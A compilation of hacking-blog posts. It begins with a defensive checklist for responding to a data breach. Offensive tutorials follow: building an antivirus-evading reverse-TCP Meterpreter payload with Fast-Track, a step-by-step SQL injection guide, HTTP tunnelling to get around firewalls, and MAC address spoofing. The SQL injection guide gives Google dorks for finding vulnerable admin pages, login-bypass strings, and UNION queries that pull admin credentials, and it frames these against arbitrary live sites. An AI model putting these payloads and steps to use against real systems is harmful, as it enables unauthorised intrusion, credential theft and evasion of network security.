SecurityHunk

While a major part of preventing all massive potential data intrusion damage or cyber security breaches lies in the preventative measures of secure code, updated security software, use of frequently updated applications and strong passwords for all access points to your data; sometimes cyber security breaches happen no matter how well you have protected yourself. When this happens, prevention no longer matters for the moment and purely defensive and sanitary measures are your best friend.

Definition of Data Breach.

In today's world we have huge amount of data available and that is a lot of information.

Having said that the data can be categorized broadly into private , public etc. These groups can be sub divided further into financial,medical,educations,military intelligence and so on.

Any kind of data that comes into the category that is restricted to public access and is to some extent confidential is  called as private data.These are the kind of data that are commonly hacked by hackers.When these private and confidential data are either made public or accessed by someone who is not authorized for it then this situation or scenario is called as data breach.

Example of social security identity theft and medical data theft is also of high concern.If you remember the Office TV show dialogue,"Identity theft is not joke,Jim".This truly hold good and should taken very seriously.

Example:data breach at experian

Now let’s cover some of these, as applied to assorted systems, including computers, hosting servers and your internal networks.At the end of this post we will also see the recent security breaches of 2019.
1.Make Sure you have been Hacked

Not all strange system behavior is a sign of third party or malware intrusion. Sometimes the complex systems we operate go haywire because of changes we ourselves have made to them without being aware of the consequences.

If your website, computer or network is behaving strangely, not loading properly or giving you blank displays where data or a visual interface should be visible, first think back to any recent changes you might have made that could be responsible for the differences.

In a website hosting system, for example, changing so much as a single parameter within a site’s MySQL database template can lead to a completely downed website even though all the internal data is perfectly safe.

So in other words be very sure that there is cyber security breach and need to prompt enough to take the actions, a minute late in this may result in serious repercussions.

2.Speak to your Support Team

As a follow up to step one above and as a part of general policy, you should speak to your technical support team as soon as you have noticed strange things about your system. If you’re a website owner, this could be the people who manage your IT and hosting servers and if you’re the owner of a business or organizational network, this could be your IT support staff.
They can not only tell you about any changes they may have done to provoke a system failure, they can also help you investigate the wider scope of the intrusion you may be suffering.

3.Image your Servers or Drive

Imaging software for computer hard drives and the same sort of software for servers should always be close at hand. In case of a breach, before proceeding with cleanup and removal of all malicious factors, you should first image your drives or servers immediately in the condition they have at the time of their hack.

This will preserve a large body of evidence which can later be examined through digital forensics techniques, and this evidence vitally needs to be preserved so that you can formulate a better future intrusion response. Knowing if you were the victim of a genuine virus, entry by a human hacker who’s been modifying your code or something as simple as some spyware is crucial.

4. Disconnect from the Web (if possible)

As soon as you have imaged your servers, hard drives and all data or code collections, you should immediately disconnect your servers or computers from the wider web if at all possible.

This may cause chaos and disruptions for clients if you’re running a business website, but as a preventative step it’s vital. By keeping your machines and servers connected, you’re allowing the malware or human intruders who have breached them to continue maintaining malicious access, keep stealing data or causing further damage.

Unless you’re running security scans that require a web connection to work, your systems should be offline while you recover.

5. Change all Passwords

In addition to imaging of all data storage media and disconnection from external access, you should also be moving quickly to change all of your access passwords. They may have been the cause of your security breach and by leaving them as they are, you’re inviting future attacks even after you repair and reinstall everything.

Your machine itself, your hosting server access, your MySQL databases and your FTP should all have their passwords and the passwords of any sub-accounts on them reset immediately.

6. Perform Security Scans

Antivirus software, anti-malware programs and network intrusion protection software should all be tools that you keep close at hand for intrusion incidents. Once your intrusion has been detected and the above steps taken, perform scans that cover all the major bases against malware, spyware, intruders and scripting attacks.

7.Remove all Malicious Files and Code

Through the assistance of your IT support team, your service providers and the security software you have been running, you can start slowly identifying and destroying all the malicious code you find on your network, servers or computer itself. This can be a tedious process and if you’re not sure that you have successfully removed everything, you probably need to do a full re-install.

8. Back up Everything

Back up all of your valuable data as soon as possible after a data breach. You may have already performed a full scale imaging process on your entire servers or drives but specific section backups of key databases and data volumes are also a good idea because they allow you to compartmentalize valuable information for later analysis through digital forensics.

9. Re-install as much as Necessary

If the breach was very severe and especially if the breach affected a lot of data or code, you might have to perform a full scale re-installation of all your software. In a computer, this will require you to format your entire hard drive and re-install your operating system.

On your website hosting servers, you’ll almost certainly need to re-install all o your database management software, LAMP (Linux, Apache, MySQL and PHP) applications along with any other third party software you were running for your website.

Always re-install to the newest versions of whatever software you need to replace.

10. Document Everything

Finally, document everything. Document all of the steps you took, the processes you followed and the files you erased, re-installed and used to clean your machine. Documentation is useful for future digital forensics (if needed) and it preserves a chain of evidence that can be used as a future prevention reference.

11.Report Identity theft to Police.
In case of any identity theft , the first thing we should do is freeze all the confidential information and if needed and possible  reset the information.Then reporting identity theft to Police is of foremost importance so that if in case those confidential information are misused then we have a police report in place.

Inguma is a free penetration and vulnerability research tool kit written in python, recently the new version has been released after 3 years and with a very user friendly Graphical user interface.

1.Learn more about it here.

2.Visit there blog for more updates.

Download Inguma 0.2 :

1.Inguma-0.2.tar.gz

2.You can use it with Backtrack as it comes with it under Pentesting tools.

We discussed Metasploit framework in a post and today in this tutorial we will be discussing about Fast-Track which is very easy to use as compared to metasploit as we will see later in the discussion.Here we will discuss how to generate payload using Fast-track from its menu driven interface.

What is Fast-Track?
 It is an open-source project in python and brain child of David Kennedy to come in help during penetration testing with the blend of metasploit framework to make pen testing automated.It makes it very easy for pen testers to exploit the client side data ,improper patch management etc.It has dependencies on metasploit,SQLite,FreeTDS etc.It is advantageous as compared to metasploit beacuse of its very user friendly usage.

What is Payload?
It is actually the work of the exploit that is the result or effect.For example while using any exploit on a targeted box we may get the shell,VNC desktop or access to the files etc on the attacker box.

What is Shellcode?
It is the opcode(Operational code) that can be executed on the targeted box to get the command shell etc.It can be encoded to bypass antivirus detection.

Requirements:

1.Backtrack

2.Virtual environment software.(Vmware player/Virtual Box)

>> Learn how to boot Backtrack from USB
>> Learn how to use Virtual Environment

Procedure:

Step 1.
Boot backtrack and open a shell console and change the directory to " cd /pentest/exploits " and
type "python setup.py install" to check if fast-track has all dependancies install so that it will download from online as shown below.
Step 2.
Now type "python fask-track.py" inorder to select the desired interactive mode.Here I have selected the menu driven mode (./fast-track.py -i) as in this discussion we will be using that.
Step 3.
Now as I got the menu for fast-track usage in the screen, I selected no.6 that is "Payload Generator" as shown in the image below.
Step 4.
Now in this step we have to select the type of payload from the given menu,here I have selected "Reverse_Tcp Meterpreter" that is no.2 as shown in the image below.
Step 5.
Now we need to encode our payload inorder to bypass the AV ,here we have selected no.2 as shown in the image below.
Step 6.
Now we need to enter the host IpAddress and the desired port.Then select the form of payload that is "executable" or "shellcode" as shown in the image below.
Step 7.
As you can see the payload is being saved in .txt format so,we can get the shellcode from it.If we would have choosen the "executable" format then a .exe file would have been created.

Step 8.
If the .exe file is run in the victim's box and we have setup a listener then we can get the meterpreter seesion on our desktop as shown in the image below.
 In the next post we will see how we can use the shellcode generated to make an executable.

If you find this post useful then do drop your comments it will be appreciated... :)

What is SQL injection ?

SQL(Structured Query Language) injection or insertion is an attack technique that exploits the vulnerability of the web application that communicates with the database of the server.This type of attack is successful if the application fails to validate the user supplied inputs in sql statements to communicate with the database there by allowing the attacker to gain control of all database resources.
Lastly I would like to mention that the application level vulnerability is exploited rather than the server or database side vulnerbility.

I recommend readers if they abide by the blog's Disclaimer then they can proceed reading this post otherwise leave this page immediately.

Basic Sql Injection:
.Asp based websites are basically more vulnerable to this type of attack.So we can use Goolge dorks to find out few sites.

"inurl:admin.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:administratorlogin.asp"
"inurl:administrator_login.asp"

and many more here.

Bypassing Login Screen:
Now that we have arrivied at the administration page we need to enter "admin",admin'--,admin'#,admin'/* etc in username section and the below sql injections in the password section.

' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1—
and many more are there.

Extended SQl Injection:

1.Concept behind Error messages

a.Eg:- http://www.website.com/index.php?id=49'

b.A ' is need to be added after the digit 49.

c.An error as below proves that it is vulnerable to SQL injection.
d.If nothing is shown up then it is vulnerable to "Blind SQL injection".

2.Now we need to find the no.of columns in the database by using "ORDER function".
As we got error at "10" so the no of columns in the database is "9".

3.Now we need to find the most vulnerable column by using "UNION function"


a.Look out for some random number in the screen as shown below.

b.Dash "-" is compulsory (id=-32) instead of (id=32)

c.Now, if this displays an error/blank page, just move on to the next site.

d.If it displays a couple numbers on the page, congrats! The site is vulnerable.

4.Now we need to find the SQL database version of the site.

Injection for VERSION 4:

If you get version 4 from the above step then it will be bit difficult as we have to guess the tables and columns.There we have to adapt the hit and trail methods and the chance of success is very limited.


Injection for VERSION 5 and above:

1.Now we need to find the tables of the above vulnerable column.

a.Tables are always lying into the information_schema.tables‘s Database.So to extract tables from it the query is like below.

b.Most vulnerable column is 9 so we have put table_name inplace of 9.

c.It will only show the first table name which is lying in the database at the top.But to show all the tables “group_concat(table_name)” function is used.

d.http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,group_concat(table_name) from information_schema.tables where table_schema=database()

OR
e.We got cms_comments,cms_docs,cms_user etc... as tables.

2.Now we need to find the columns from the desired table.Here it is cms_user.

a.The input string need to be converted into Decimal/Ascii equivalent inorder to communicate with the database.

b.You may use (http://easycalculation.com/ascii-hex.php) to convert any string to Decimal/Ascii equivalent or you can also use a Firefox Addon.
c.With cms_user as input the ASCII value is 99 109 115 95 117 115 101 114.

d.http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,group_concat(column_name) from information_schema.columns where table_name=char(99 109 115 95 117 115 101 114) is the modified code.

e."group_concat" used for all columns and since we are concerned with columns so "information_schema.columns" is used instead of "information_schema.tables".
f.Here we got id,c_name,f_name as the columns of the table cms_user.

g.In order to retrive datas it is needed to replace group_concat(column_name) with group_concat(id,0x3a,c_name,0x3a,f_name) from cms_user here "0x3a" is just the colon and that will separate the contents which we will retrieve.

*So all ids,c_name values,f_name values on the screen.Similarly if you get the admin table and you found some columns of admin_name and password then you have to implement the query as,Group_concat(admin_name,0x3a,password)from admin here
admin_name and the password are the columns and admin is the table name.

*If the password in encrypted form then we have to use few tools like John the ripper,Cain & Able or if it is md5 or any other encrypted then we may use few online decrypter which you can get through google.You may use the list of few online decrypter I have provided here.


Few important points:

1.We can use instead of -- put /* or even nothing in the above statements.

2.In order to find the version of the database we can use @@version or version() and may use user(),database() to check the database type and user.

3."0x3a" is used as separator of the retrieve data,it is only a colon.

4.A "'" is need to be added inorder to check the vulnerability if nothing is shown up then it may be under "Blind Sql Injection"

By: Chintan Gurjar and edited,updated by Satyajit Das(Admin).

About Chintan Gurjar:He is an Ethical Hacking enthusiast and a final year B.tech student form Ahmedabad, India and a nice person you can catch him here.

In most of the institutions and companies due to security risk many restrictions are being imposed on network like blocked ports etc.There are many ports that are blocked for outbound connection and few ports for http connection are opened so that people working over there can access there email etc.As the http port outbound is opened so it can be used for http tunnel to access restricted applications like IM etc.In this post we will see how we can do that and also see the available http tunneling Software packages.

What is Http Tunnel?

It is a technique in which the communications that are restricted in the network are bundled within the http protocol and allowed to communicate.The user uses a http tunnel software with client-server but to use it with administrative privileges.

How it works?
The user need a http_Tunnel-client and a server other than the original client-server.What happens that when the original_client decides to connect to a desire server then it sends its request through the httptunnel_client to the httptunnel_server then to the original_server as shown in the figure below.
 Actually the restricted application that is the client(in the figure) sends a request other than http through the http tunnel_client bundle inside the http request.Then the http tunnel_server receives its unwrap,decrypt,uncompressed it and forward it to the original server in the same way the data is transferred.The main concept over here is that there is middle (client-server) other than the original client-server.

Advantages:
1.Undo restrictions on applications like instant messengers etc

2.Helpful in accessing restricted pages and sites.

3.May be helpful in bypassing firewall  restriction but not in an extensive manner.

Lets see how we can use http tunneling.

Http Tunneling Software:

1.Http-Tunnel(Download)

2.HttpTunnel(Download)

3.Hopster(Download)

4.Super Network Tunnel(Download)

5.HttpTunnel(Linux)(Download)

Requrirements:

1.Http Tunneling Software(Client-server)

2.Administrative Previlage.

Procedure:

Step 1.
Here I have used the soft named HttpTunnel for tunneling with both server and client.Download and install it.

Step 2.
Now click on the client and server part of it and you can use port mapping or socks5 for connecting thought the client.
Step 3.
Here I have used Rediff bol as a restricted application and socks5 for connecting.As you set the settings click on "Test" to see if it could connect ot the server,if it is successful then proceed as shown below.
Http tunnel in the network can be still detected by analyzing the data and packets in the network.On more thing is that http connections last for less interval of time but since in http tunnel with tcp protocol bundled in side it may last for extended period of time so it may create a suspicion in the mind of the network administrator.

Computers talk or communicate over the network using Mac address(Media Access Control Address ) which is unique for each and every machine.Here in this post we will see how we can spoof or change the Mac Address manually and using tools.

Procedure:


Step 1.
Type "Regedit" in run and press enter.In the regedit winodow follow the path
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318] as shown in the image below.
Step 2.
Check all the values under the above path to find the correct driver description(DriverDesc) as shown in the above image.For me it was "0009",Now search for "NetworkAddress" in the right side of the editor,if you find it then change the value to your desired 12 digit number(MacAddress).If you cannot find "NetworkAddress" then create a new "string value".
Step 3.
 Now rename the new string value to "NetworkAddress" and set the value to a random 12-digit number as shown below.
Step 4.
Now disable the connection and enable then open up command prompt and type the command ipconfig /all to find the change in Mac Address.

1.SMAC :
It is not a freeware tool to use but it is a very useful tool and widely used for spoofing MacAddress(Download)

2.Macshift:
It is an opensource tool and has a command line usage.(Download)

3.MadMACs:
If it a very user friendly tool you just need to double click on the executable thats it.(Download)

If you find this post useful and interesting then do drop your comment,it will be appreciated... :)